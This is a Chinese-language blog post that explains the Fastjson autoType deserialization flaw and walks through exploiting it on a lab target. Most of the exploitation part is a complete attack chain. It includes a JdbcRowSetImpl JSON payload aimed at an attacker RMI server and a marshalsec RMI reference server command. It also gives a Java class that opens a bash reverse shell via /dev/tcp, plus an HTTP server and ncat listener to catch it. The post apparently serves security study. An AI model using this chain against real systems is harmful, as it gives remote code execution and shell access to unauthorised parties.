Fastjson漏洞原理、复现与利用

1、漏洞原理

Fastjson提供两个主要接口toJsonString和parseObject来分别实现 序列化和反序列化。

Fastjson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

Fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作。 

2、漏洞复现

bp在靶机的fastjson页面抓包。

改三个地方:

第一 把GET方法改成POST方法,第二添加Content-Type:application/json,第三写入漏洞利用的poc。

3、漏洞利用

3.1 如何快速判断是否使用了fastjson?

3.1.1 第一种:使用报错回显

bp抓包,修改GET为POST,添加json字符串,在发送一个,即可得到回显。

3.1.2 第二种:使用dnslog测试

POC:

{"name":
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://服务器IP:1099/Exploit","autoCommit":true}}

目标服务器执行1:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://服务器IP:8888/#Exploit" 1099

目标服务器执行2: 

vi Exploit.java
public class Exploit {
    public Exploit(){
        try {
            java.lang.Runtime.getRuntime().exec(
            new String[]{"bash", "-c", "bash -i >& /dev/tcp/服务器IP/12345 0>&1"});
            } 
        catch(Exception e){
            e.printStackTrace();
            }
        }
    public static void main(String[] argv){
        Exploit e = new Exploit();
        }
}
javac Exploit.java

目标服务器执行3:

python -m SimpleHTTPServer 8888
python -m http.server 8888

目标服务器执行4:

ncat -lvvp 12345

执行流程:

目标服务器解析JSON --> 找到marshalsec起的RMI服务 --> 转向python起的HTTP下载并执行payload-->反弹SHELL 连接ncat

posted @ 2023-03-28 21:40  hello_bao  阅读(1210)  评论(0)    收藏  举报